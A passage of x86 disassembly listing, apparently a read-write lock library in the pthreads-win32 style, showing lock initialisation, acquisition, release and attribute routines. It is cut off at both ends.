		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F02:				; CODE XREF: sub_432ED0+1Aj
					; sub_432ED0+1Fj
		push	1Ch
		push	1
		call	near ptr 77C2C0C3h
		nop
		mov	esi, eax
		add	esp, 8
		test	esi, esi
		jnz	short loc_432F26
		mov	ecx, [esp+0Ch+arg_0]
		mov	edi, 0Ch
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F26:				; CODE XREF: sub_432ED0+43j
		push	0
		push	esi
		mov	dword ptr [esi+0Ch], 0
		mov	dword ptr [esi+10h], 0
		mov	dword ptr [esi+14h], 0
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F84
		lea	ebx, [esi+4]
		push	eax
		push	ebx
		call	sub_4021BC
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_432F7B
		push	eax
		lea	eax, [esi+8]
		push	eax
		call	sub_40154B
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_432F9C
		push	ebx
		call	sub_402252
		add	esp, 4


loc_432F7B:				; CODE XREF: sub_432ED0+8Dj
		push	esi
		call	sub_402252
		add	esp, 4


loc_432F84:				; CODE XREF: sub_432ED0+7Aj
		push	esi
		nop
		call	near ptr 77C2C21Bh
		mov	ecx, [esp+10h+arg_0]
		add	esp, 4
		xor	esi, esi
		mov	eax, edi
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_432F9C:				; CODE XREF: sub_432ED0+A0j
		mov	ecx, [esp+0Ch+arg_0]
		xor	edi, edi
		mov	eax, edi
		mov	dword ptr [esi+18h], 0FACADE2h
		pop	edi
		mov	[ecx], esi
		pop	ebx
		pop	esi
		retn
sub_432ED0	endp

; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433000:				; CODE XREF: ___:004018BBj
		mov	eax, [esp+4]
		push	ebx
		push	ebp
		push	esi
		push	edi
		xor	ebx, ebx
		xor	edi, edi
		xor	ebp, ebp
		test	eax, eax
		jz	loc_43313B
		mov	esi, [eax]
		test	esi, esi
		jz	loc_43313B
		cmp	esi, 0FFFFFFFFh
		jz	loc_4330F7
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43313B
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_433069
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433069:				; CODE XREF: ___:00433057j
		mov	eax, [esi+10h]
		test	eax, eax
		jg	short loc_4330DD
		mov	eax, [esi+0Ch]
		mov	ecx, [esi+14h]
		cmp	eax, ecx
		jg	short loc_4330DD
		push	edi
		mov	dword ptr [esi+18h], 0
		call	sub_4010C3
		add	esp, 4
		mov	ebx, eax
		test	ebx, ebx
		push	esi
		jz	short loc_4330A0
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4330A0:				; CODE XREF: ___:0043308Fj
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	loc_433140
		mov	ecx, [esp+14h]
		lea	edx, [esi+8]
		push	edx
		mov	[ecx], eax
		call	sub_401AA5
		push	edi
		mov	ebx, eax
		call	sub_402252
		push	esi
		mov	edi, eax
		call	sub_402252
		push	esi
		mov	ebp, eax
		call	near ptr 77C2C21Bh
		nop
		add	esp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330DD:				; CODE XREF: ___:0043306Ej
					; ___:00433078j
		push	edi
		call	sub_4010C3
		push	esi
		mov	ebx, eax
		call	sub_4010C3
		add	esp, 8
		mov	edi, eax
		mov	ebp, 10h
		jmp	short loc_433123
; ---------------------------------------------------------------------------


loc_4330F7:				; CODE XREF: ___:00433023j
		push	offset dword_510960
		nop
		call	near ptr 7C901005h
		mov	eax, [esp+14h]
		cmp	dword ptr [eax], 0FFFFFFFFh
		jnz	short loc_433113
		mov	dword ptr [eax], 0
		jmp	short loc_433118
; ---------------------------------------------------------------------------


loc_433113:				; CODE XREF: ___:00433109j
		mov	ebx, 10h


loc_433118:				; CODE XREF: ___:00433111j
		push	offset dword_510960
		call	near ptr 7C9010EDh
		nop


loc_433123:				; CODE XREF: ___:004330DBj
					; ___:004330F5j
		test	ebx, ebx
		jz	short loc_43312E
		pop	edi
		pop	esi
		mov	eax, ebx
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43312E:				; CODE XREF: ___:00433125j
		test	edi, edi
		mov	eax, edi
		jnz	short loc_433140
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43313B:				; CODE XREF: ___:00433010j
					; ___:0043301Aj ...
		mov	eax, 16h


loc_433140:				; CODE XREF: ___:00433041j
					; ___:004330AAj ...
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Bh dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4331B0:				; CODE XREF: ___:00401EA6j
		push	esi
		push	4
		push	1
		xor	esi, esi
		call	near ptr 77C2C0C3h
		nop
		add	esp, 8
		test	eax, eax
		jnz	short loc_4331D3
		mov	edx, [esp+8]
		mov	ecx, 0Ch
		pop	esi
		mov	[edx], eax
		mov	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_4331D3:				; CODE XREF: ___:004331C2j
		mov	ecx, [esp+8]
		mov	dword ptr [eax], 0
		mov	[ecx], eax
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433200:				; CODE XREF: ___:0040179Ej
		mov	ecx, [esp+4]
		push	esi
		xor	esi, esi
		test	ecx, ecx
		jz	short loc_433221
		mov	eax, [ecx]
		test	eax, eax
		jz	short loc_433221
		push	eax
		mov	[ecx], esi
		nop
		call	near ptr 77C2C21Bh
		add	esp, 4
		mov	eax, esi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433221:				; CODE XREF: ___:00433209j
					; ___:0043320Fj
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433240:				; CODE XREF: ___:00401136j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_43325D
		mov	eax, [eax]
		test	eax, eax
		jz	short loc_43325D
		mov	ecx, [esp+8]
		test	ecx, ecx
		jz	short loc_43325D
		mov	eax, [eax]
		mov	[ecx], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_43325D:				; CODE XREF: ___:00433246j
					; ___:0043324Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433280:				; CODE XREF: ___:004015A5j
		mov	eax, [esp+4]
		test	eax, eax
		jz	short loc_4332AA
		mov	ecx, [eax]
		test	ecx, ecx
		jz	short loc_4332AA
		mov	eax, [esp+8]
		cmp	eax, 1
		jz	short loc_43329E
		test	eax, eax
		jnz	short loc_4332AA
		mov	[ecx], eax
		retn
; ---------------------------------------------------------------------------


loc_43329E:				; CODE XREF: ___:00433295j
		mov	eax, 28h
		mov	dword ptr [ecx], 0
		retn
; ---------------------------------------------------------------------------


loc_4332AA:				; CODE XREF: ___:00433286j
					; ___:0043328Cj ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4332C0:				; CODE XREF: ___:00402095j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43337A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43337A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4332F4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4332F4
		cmp	eax, 10h
		jnz	loc_43337F


loc_4332F4:				; CODE XREF: ___:004332DCj
					; ___:004332E9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43337A
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	short loc_43337F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43336D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_43333D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43333D:				; CODE XREF: ___:0043332Cj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43336D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43336D:				; CODE XREF: ___:0043331Aj
					; ___:0043335Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43337A:				; CODE XREF: ___:004332C9j
					; ___:004332D3j ...
		mov	eax, 16h


loc_43337F:				; CODE XREF: ___:004332EEj
					; ___:0043330Aj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4333D0:				; CODE XREF: ___:004016A4j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43349F
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43349F
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433404
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433404
		cmp	eax, 10h
		jnz	loc_4334A4


loc_433404:				; CODE XREF: ___:004333ECj
					; ___:004333F9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_43349F
		mov	ebx, [esp+14h]
		push	ebx
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	short loc_4334A4
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_433492
		lea	edi, [esi+4]
		push	ebx
		push	edi
		call	sub_401BD6
		mov	ebx, eax
		add	esp, 8
		test	ebx, ebx
		jz	short loc_433462
		cmp	ebx, 274Ch
		jnz	short loc_433453
		inc	dword ptr [esi+14h]


loc_433453:				; CODE XREF: ___:0043344Ej
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433462:				; CODE XREF: ___:00433446j
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_433492
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433492:				; CODE XREF: ___:00433433j
					; ___:00433481j
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43349F:				; CODE XREF: ___:004333D9j
					; ___:004333E3j ...
		mov	eax, 16h


loc_4334A4:				; CODE XREF: ___:004333FEj
					; ___:00433423j
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 8 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4334F0:				; CODE XREF: ___:004015D2j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_4335E6
		mov	eax, [esi]
		test	eax, eax
		jz	loc_4335E6
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433527
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433527
		cmp	eax, 10h
		jnz	loc_4335EB


loc_433527:				; CODE XREF: ___:0043350Fj
					; ___:0043351Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_4335E6
		push	esi
		call	sub_402248
		add	esp, 4
		test	eax, eax
		jnz	loc_4335EB
		lea	ebp, [esi+4]
		push	ebp
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43356B
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_43356B:				; CODE XREF: ___:00433557j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_4335DA
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433588
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433588:				; CODE XREF: ___:00433577j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_4335DA
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_4335AB:				; CODE XREF: ___:004335C0j
		push	ebp
		push	ebx
		call	sub_401203
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jnz	short loc_4335C2
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_4335AB


loc_4335C2:				; CODE XREF: ___:004335B9j
		xor	ecx, ecx
		test	edi, edi
		setnz	cl
		push	ecx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_4335DD
		mov	[esi+0Ch], edi


loc_4335DA:				; CODE XREF: ___:00433570j
					; ___:0043358Dj
		inc	dword ptr [esi+10h]


loc_4335DD:				; CODE XREF: ___:004335D5j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4335E6:				; CODE XREF: ___:004334FCj
					; ___:00433506j ...
		mov	eax, 16h


loc_4335EB:				; CODE XREF: ___:00433521j
					; ___:00433541j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433650:				; CODE XREF: ___:00401960j
		sub	esp, 0Ch
		push	ebp
		push	esi
		mov	esi, [esp+18h]
		push	edi
		test	esi, esi
		jz	loc_433751
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433751
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_433687
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_433687
		cmp	eax, 10h
		jnz	loc_433756


loc_433687:				; CODE XREF: ___:0043366Fj
					; ___:0043367Cj
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433751
		mov	edi, [esp+20h]
		push	edi
		push	esi
		call	sub_401BD6
		add	esp, 8
		test	eax, eax
		jnz	loc_433756
		lea	ebp, [esi+4]
		push	edi
		push	ebp
		call	sub_401BD6
		mov	edi, eax
		add	esp, 8
		test	edi, edi
		jz	short loc_4336D1
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_4336D1:				; CODE XREF: ___:004336BDj
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433745
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_4336EE
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_4336EE:				; CODE XREF: ___:004336DDj
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433745
		neg	eax
		push	ebx
		mov	[esi+14h], eax
		push	esi
		lea	eax, [esp+14h]
		push	offset sub_401861
		push	eax
		call	sub_401663
; ---------------------------------------------------------------------------
		add	esp, 0Ch
		lea	ebx, [esi+8]


loc_433711:				; CODE XREF: ___:0043372Bj
		mov	ecx, [esp+24h]
		push	ecx
		push	ebp
		push	ebx
		call	sub_4011E0
		mov	edi, eax
		add	esp, 0Ch
		test	edi, edi
		jnz	short loc_43372D
		mov	eax, [esi+14h]
		test	eax, eax
		jl	short loc_433711


loc_43372D:				; CODE XREF: ___:00433724j
		xor	edx, edx
		test	edi, edi
		setnz	dl
		push	edx
		call	sub_401122
; ---------------------------------------------------------------------------
		add	esp, 4
		test	edi, edi
		pop	ebx
		jnz	short loc_433748
		mov	[esi+0Ch], edi


loc_433745:				; CODE XREF: ___:004336D6j
					; ___:004336F3j
		inc	dword ptr [esi+10h]


loc_433748:				; CODE XREF: ___:00433740j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------


loc_433751:				; CODE XREF: ___:0043365Cj
					; ___:00433666j ...
		mov	eax, 16h


loc_433756:				; CODE XREF: ___:00433681j
					; ___:004336A6j
		pop	edi
		pop	esi
		pop	ebp
		add	esp, 0Ch
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_4337B0:				; CODE XREF: ___:004015C8j
		mov	eax, [esp+4]
		push	ebx
		push	esi
		push	edi
		test	eax, eax
		jz	short loc_433836
		mov	esi, [eax]
		test	esi, esi
		jz	short loc_433836
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_4337CC
		pop	edi
		pop	esi
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337CC:				; CODE XREF: ___:004337C4j
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_433836
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433814
		lea	ebx, [esi+4]
		push	ebx
		call	sub_402248
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4337F2
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4337F2:				; CODE XREF: ___:004337ECj
		mov	eax, [esi+14h]
		inc	eax
		mov	[esi+14h], eax
		jnz	short loc_433809
		add	esi, 8
		push	esi
		call	sub_401E6F
		add	esp, 4
		mov	edi, eax


loc_433809:				; CODE XREF: ___:004337F9j
		push	ebx
		call	sub_4010C3
		add	esp, 4
		jmp	short loc_43382C
; ---------------------------------------------------------------------------


loc_433814:				; CODE XREF: ___:004337DAj
		dec	eax
		mov	[esi+10h], eax
		lea	eax, [esi+4]
		push	eax
		call	sub_4010C3
		push	esi
		mov	edi, eax
		call	sub_4010C3
		add	esp, 8


loc_43382C:				; CODE XREF: ___:00433812j
		test	edi, edi
		jz	short loc_43383B
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433836:				; CODE XREF: ___:004337B9j
					; ___:004337BFj ...
		mov	eax, 16h


loc_43383B:				; CODE XREF: ___:0043382Ej
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 30h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433870:				; CODE XREF: ___:0040153Cj
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_43392A
		mov	eax, [esi]
		test	eax, eax
		jz	loc_43392A
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4338A4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4338A4
		cmp	eax, 10h
		jnz	loc_43392F


loc_4338A4:				; CODE XREF: ___:0043388Cj
					; ___:00433899j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	short loc_43392A
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	short loc_43392F
		mov	ecx, [esi+0Ch]
		inc	ecx
		mov	eax, ecx
		mov	[esi+0Ch], ecx
		cmp	eax, 7FFFFFFFh
		jnz	short loc_43391D
		lea	edi, [esi+4]
		push	edi
		call	sub_402248
		mov	ebx, eax
		add	esp, 4
		test	ebx, ebx
		jz	short loc_4338ED
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, ebx
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4338ED:				; CODE XREF: ___:004338DCj
		mov	eax, [esi+14h]
		mov	ebx, [esi+0Ch]
		sub	ebx, eax
		push	edi
		mov	[esi+0Ch], ebx
		mov	dword ptr [esi+14h], 0
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_43391D
		push	esi
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43391D:				; CODE XREF: ___:004338CAj
					; ___:0043390Cj
		push	esi
		call	sub_4010C3
		add	esp, 4
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_43392A:				; CODE XREF: ___:00433879j
					; ___:00433883j ...
		mov	eax, 16h


loc_43392F:				; CODE XREF: ___:0043389Ej
					; ___:004338BAj
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433980:				; CODE XREF: ___:00401FF0j
		push	ebx
		push	esi
		mov	esi, [esp+0Ch]
		push	edi
		test	esi, esi
		jz	loc_433A61
		mov	eax, [esi]
		test	eax, eax
		jz	loc_433A61
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_4339B4
		push	esi
		call	sub_40185C
		add	esp, 4
		test	eax, eax
		jz	short loc_4339B4
		cmp	eax, 10h
		jnz	loc_433A66


loc_4339B4:				; CODE XREF: ___:0043399Cj
					; ___:004339A9j
		mov	esi, [esi]
		cmp	dword ptr [esi+18h], 0FACADE2h
		jnz	loc_433A61
		push	esi
		call	sub_401785
		add	esp, 4
		test	eax, eax
		jnz	loc_433A66
		lea	ebx, [esi+4]
		push	ebx
		call	sub_401785
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jz	short loc_4339F9
		push	esi
		call	sub_4010C3
		add	esp, 4
		test	eax, eax
		jnz	short loc_433A66
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_4339F9:				; CODE XREF: ___:004339E4j
		mov	eax, [esi+10h]
		test	eax, eax
		jnz	short loc_433A49
		mov	eax, [esi+14h]
		test	eax, eax
		jle	short loc_433A16
		mov	ecx, [esi+0Ch]
		mov	dword ptr [esi+14h], 0
		sub	ecx, eax
		mov	[esi+0Ch], ecx


loc_433A16:				; CODE XREF: ___:00433A05j
		mov	eax, [esi+0Ch]
		test	eax, eax
		jle	short loc_433A54
		push	ebx
		call	sub_4010C3
		add	esp, 4
		mov	edi, eax
		test	edi, edi
		push	esi
		jz	short loc_433A3B
		call	sub_4010C3
		add	esp, 4
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A3B:				; CODE XREF: ___:00433A2Bj
		call	sub_4010C3
		mov	edi, eax
		add	esp, 4
		test	edi, edi
		jnz	short loc_433A4E


loc_433A49:				; CODE XREF: ___:004339FEj
		mov	edi, 10h


loc_433A4E:				; CODE XREF: ___:00433A47j
		mov	eax, edi
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A54:				; CODE XREF: ___:00433A1Bj
		mov	eax, edi
		mov	dword ptr [esi+10h], 1
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433A61:				; CODE XREF: ___:00433989j
					; ___:00433993j ...
		mov	eax, 16h


loc_433A66:				; CODE XREF: ___:004339AEj
					; ___:004339CEj ...
		pop	edi
		pop	esi
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 40h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AB0:				; CODE XREF: ___:00401C0Dj
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433AC7
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------


loc_433AC7:				; CODE XREF: ___:00433ABFj
		mov	eax, [esp+8]
		neg	eax
		sbb	eax, eax
		and	eax, 30h
		retn
; ---------------------------------------------------------------------------
		db 0Dh dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433AF0:				; CODE XREF: ___:00401EB5j
		mov	eax, [esp+4]
		push	eax
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B17
		mov	eax, [esp+8]
		test	eax, eax
		jz	short loc_433B17
		cmp	eax, 2
		jbe	short loc_433B17
		mov	dword ptr [eax], 0
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433B17:				; CODE XREF: ___:00433AFFj
					; ___:00433B07j ...
		mov	eax, 16h
		retn
; ---------------------------------------------------------------------------
		db 3 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433B30:				; CODE XREF: ___:0040117Cj
		push	ebx
		mov	ebx, [esp+8]
		push	esi
		push	edi
		push	ebx
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433B76
		mov	edi, [esp+14h]
		test	edi, edi
		jz	short loc_433B76
		mov	esi, [edi]
		push	eax
		call	sub_401555
		add	esp, 4
		cmp	esi, eax
		jl	short loc_433B76
		push	0
		call	sub_401442
		add	esp, 4
		cmp	esi, eax
		jg	short loc_433B76
		mov	eax, [ebx]
		mov	ecx, [edi]
		pop	edi
		pop	esi
		mov	[eax+10h], ecx
		xor	eax, eax
		pop	ebx
		retn
; ---------------------------------------------------------------------------


loc_433B76:				; CODE XREF: ___:00433B42j
					; ___:00433B4Aj ...
		pop	edi
		pop	esi
		mov	eax, 16h
		pop	ebx
		retn
; ---------------------------------------------------------------------------
		db 90h
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BA0:				; CODE XREF: ___:00401EFBj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433BC5
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433BC5
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+10h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433BC5:				; CODE XREF: ___:00433BB0j
					; ___:00433BB8j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433BE0:				; CODE XREF: ___:004015BEj
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jz	short loc_433BF9
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433BF9:				; CODE XREF: ___:00433BF0j
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C0D
		cmp	eax, 1
		jz	short loc_433C0D
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_433C0D:				; CODE XREF: ___:00433BFFj
					; ___:00433C04j
		mov	ecx, [esi]
		pop	esi
		mov	[ecx+14h], eax
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		db 0Ah dup(90h)
		db 10h dup(0CCh)
; ---------------------------------------------------------------------------


loc_433C30:				; CODE XREF: ___:004019E7j
		push	esi
		mov	esi, [esp+8]
		push	esi
		call	sub_4012B7
		add	esp, 4
		test	eax, eax
		jnz	short loc_433C55
		mov	eax, [esp+0Ch]
		test	eax, eax
		jz	short loc_433C55
		mov	ecx, [esi]
		pop	esi
		mov	edx, [ecx+14h]
		mov	[eax], edx
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------


loc_433C55:				; CODE XREF: ___:00433C40j
					; ___:00433C48j
		mov	eax, 16h
		pop	esi
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_433C70	proc near		; CODE XREF: sub_401050j

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		push	esi
		mov	esi, [esp+4+arg_0]
		push	0
		push	esi
		call	sub_401762
		add	esp, 8
		test	eax, eax
